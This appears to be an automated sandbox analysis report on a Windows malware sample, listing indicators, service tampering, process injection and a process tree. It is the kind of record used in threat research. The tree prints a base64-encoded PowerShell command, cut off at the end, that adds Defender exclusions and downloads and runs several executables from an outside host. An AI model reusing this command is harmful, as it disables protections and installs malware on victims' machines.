c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe

Analysis

max time kernel
66s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
30/01/2023, 19:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Size 360KB
Sample230130-x69fkscc33
SHA256 c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
MD5 9c0c75bb31dfa46b2c91c12693bf45dd
SHA1 b405694fbedc3ed57f486a0bd892fb48b2917d49
SHA512 cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
SSDEEP 6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 1848 created 2584	1848	SmartDefRun.exe	45
PID 1848 created 2584	1848	SmartDefRun.exe	45
PID 1848 created 2584	1848	SmartDefRun.exe	45
PID 1848 created 2584	1848	SmartDefRun.exe	45
PID 2976 created 616	2976	powershell.EXE	3

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1084	powershell.exe
21	1084	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 3 IoCs

pid	Process
2116	C4Loader.exe
1848	SmartDefRun.exe
2864	SysApp.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 1044 set thread context of 3388	1044	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	84
PID 1848 set thread context of 2636	1848	SmartDefRun.exe	117
PID 2976 set thread context of 4700	2976	powershell.EXE	122

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1204	sc.exe
732	sc.exe
2308	sc.exe
3388	sc.exe
4864	sc.exe

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4084	1044	WerFault.exe	82

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
1084	powershell.exe
1084	powershell.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
2864	SysApp.exe
1848	SmartDefRun.exe
1848	SmartDefRun.exe
4968	powershell.exe
4968	powershell.exe
1848	SmartDefRun.exe
1848	SmartDefRun.exe
1848	SmartDefRun.exe
1848	SmartDefRun.exe
4708	powershell.exe
4708	powershell.exe
1848	SmartDefRun.exe
1848	SmartDefRun.exe
640	powershell.EXE
2976	powershell.EXE
640	powershell.EXE
2976	powershell.EXE
2976	powershell.EXE
4700	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe
4700	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1084	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeIncreaseQuotaPrivilege	4708	powershell.exe
Token: SeSecurityPrivilege	4708	powershell.exe
Token: SeTakeOwnershipPrivilege	4708	powershell.exe
Token: SeLoadDriverPrivilege	4708	powershell.exe
Token: SeSystemProfilePrivilege	4708	powershell.exe
Token: SeSystemtimePrivilege	4708	powershell.exe
Token: SeProfSingleProcessPrivilege	4708	powershell.exe
Token: SeIncBasePriorityPrivilege	4708	powershell.exe
Token: SeCreatePagefilePrivilege	4708	powershell.exe
Token: SeBackupPrivilege	4708	powershell.exe
Token: SeRestorePrivilege	4708	powershell.exe
Token: SeShutdownPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeSystemEnvironmentPrivilege	4708	powershell.exe
Token: SeRemoteShutdownPrivilege	4708	powershell.exe
Token: SeUndockPrivilege	4708	powershell.exe
Token: SeManageVolumePrivilege	4708	powershell.exe
Token: 33	4708	powershell.exe
Token: 34	4708	powershell.exe
Token: 35	4708	powershell.exe
Token: 36	4708	powershell.exe
Token: SeIncreaseQuotaPrivilege	4708	powershell.exe
Token: SeSecurityPrivilege	4708	powershell.exe
Token: SeTakeOwnershipPrivilege	4708	powershell.exe
Token: SeLoadDriverPrivilege	4708	powershell.exe
Token: SeSystemProfilePrivilege	4708	powershell.exe
Token: SeSystemtimePrivilege	4708	powershell.exe
Token: SeProfSingleProcessPrivilege	4708	powershell.exe
Token: SeIncBasePriorityPrivilege	4708	powershell.exe
Token: SeCreatePagefilePrivilege	4708	powershell.exe
Token: SeBackupPrivilege	4708	powershell.exe
Token: SeRestorePrivilege	4708	powershell.exe
Token: SeShutdownPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeSystemEnvironmentPrivilege	4708	powershell.exe
Token: SeRemoteShutdownPrivilege	4708	powershell.exe
Token: SeUndockPrivilege	4708	powershell.exe
Token: SeManageVolumePrivilege	4708	powershell.exe
Token: 33	4708	powershell.exe
Token: 34	4708	powershell.exe
Token: 35	4708	powershell.exe
Token: 36	4708	powershell.exe
Token: SeIncreaseQuotaPrivilege	4708	powershell.exe
Token: SeSecurityPrivilege	4708	powershell.exe
Token: SeTakeOwnershipPrivilege	4708	powershell.exe
Token: SeLoadDriverPrivilege	4708	powershell.exe
Token: SeSystemProfilePrivilege	4708	powershell.exe
Token: SeSystemtimePrivilege	4708	powershell.exe
Token: SeProfSingleProcessPrivilege	4708	powershell.exe
Token: SeIncBasePriorityPrivilege	4708	powershell.exe
Token: SeCreatePagefilePrivilege	4708	powershell.exe
Token: SeBackupPrivilege	4708	powershell.exe
Token: SeRestorePrivilege	4708	powershell.exe
Token: SeShutdownPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeSystemEnvironmentPrivilege	4708	powershell.exe
Token: SeRemoteShutdownPrivilege	4708	powershell.exe
Token: SeUndockPrivilege	4708	powershell.exe
Token: SeManageVolumePrivilege	4708	powershell.exe
Token: 33	4708	powershell.exe
Token: 34	4708	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1044 wrote to memory of 3388	1044	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	84
PID 1044 wrote to memory of 3388	1044	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	84
PID 1044 wrote to memory of 3388	1044	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	84
PID 1044 wrote to memory of 3388	1044	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	84
PID 1044 wrote to memory of 3388	1044	b405694fbedc3ed57f486a0bd892fb48b2917d49.exe	84
PID 3388 wrote to memory of 1084	3388	vbc.exe	87
PID 3388 wrote to memory of 1084	3388	vbc.exe	87
PID 3388 wrote to memory of 1084	3388	vbc.exe	87
PID 1084 wrote to memory of 2116	1084	powershell.exe	90
PID 1084 wrote to memory of 2116	1084	powershell.exe	90
PID 1084 wrote to memory of 2116	1084	powershell.exe	90
PID 1084 wrote to memory of 1848	1084	powershell.exe	91
PID 1084 wrote to memory of 1848	1084	powershell.exe	91
PID 1084 wrote to memory of 2864	1084	powershell.exe	92
PID 1084 wrote to memory of 2864	1084	powershell.exe	92
PID 1084 wrote to memory of 2864	1084	powershell.exe	92
PID 2476 wrote to memory of 1204	2476	cmd.exe	107
PID 2476 wrote to memory of 1204	2476	cmd.exe	107
PID 2476 wrote to memory of 732	2476	cmd.exe	108
PID 2476 wrote to memory of 732	2476	cmd.exe	108
PID 2476 wrote to memory of 2308	2476	cmd.exe	109
PID 2476 wrote to memory of 2308	2476	cmd.exe	109
PID 2476 wrote to memory of 3388	2476	cmd.exe	110
PID 2476 wrote to memory of 3388	2476	cmd.exe	110
PID 2476 wrote to memory of 4864	2476	cmd.exe	111
PID 2476 wrote to memory of 4864	2476	cmd.exe	111
PID 2476 wrote to memory of 3432	2476	cmd.exe	112
PID 2476 wrote to memory of 3432	2476	cmd.exe	112
PID 2476 wrote to memory of 4200	2476	cmd.exe	113
PID 2476 wrote to memory of 4200	2476	cmd.exe	113
PID 2476 wrote to memory of 4380	2476	cmd.exe	114
PID 2476 wrote to memory of 4380	2476	cmd.exe	114
PID 2476 wrote to memory of 1904	2476	cmd.exe	115
PID 2476 wrote to memory of 1904	2476	cmd.exe	115
PID 2476 wrote to memory of 1288	2476	cmd.exe	116
PID 2476 wrote to memory of 1288	2476	cmd.exe	116
PID 1848 wrote to memory of 2636	1848	SmartDefRun.exe	117
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 2976 wrote to memory of 4700	2976	powershell.EXE	122
PID 4700 wrote to memory of 616	4700	dllhost.exe	3
PID 4700 wrote to memory of 672	4700	dllhost.exe	1
PID 4700 wrote to memory of 960	4700	dllhost.exe	79
PID 4700 wrote to memory of 332	4700	dllhost.exe	78
PID 4700 wrote to memory of 516	4700	dllhost.exe	10
PID 4700 wrote to memory of 752	4700	dllhost.exe	77
PID 4700 wrote to memory of 1028	4700	dllhost.exe	76
PID 4700 wrote to memory of 1064	4700	dllhost.exe	75
PID 4700 wrote to memory of 1132	4700	dllhost.exe	74
PID 4700 wrote to memory of 1176	4700	dllhost.exe	73
PID 4700 wrote to memory of 1216	4700	dllhost.exe	72
PID 4700 wrote to memory of 1228	4700	dllhost.exe	71
PID 4700 wrote to memory of 1336	4700	dllhost.exe	70
PID 4700 wrote to memory of 1380	4700	dllhost.exe	12
PID 4700 wrote to memory of 1404	4700	dllhost.exe	69
PID 4700 wrote to memory of 1412	4700	dllhost.exe	68
PID 4700 wrote to memory of 1536	4700	dllhost.exe	67
PID 4700 wrote to memory of 1552	4700	dllhost.exe	66

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:332
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{28395a24-646c-4194-a133-6874c33016e3}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1380

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
1⤵
PID:1612

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
PID:3548

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:5116
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1044 -ip 1044
  2⤵
  PID:5004

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3128

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:3120

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:1512

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:4020

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:3488

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4228

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2220

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4548

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3940

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3680

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3444

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3268

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2584
- C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
  "C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:1044
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3388
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEM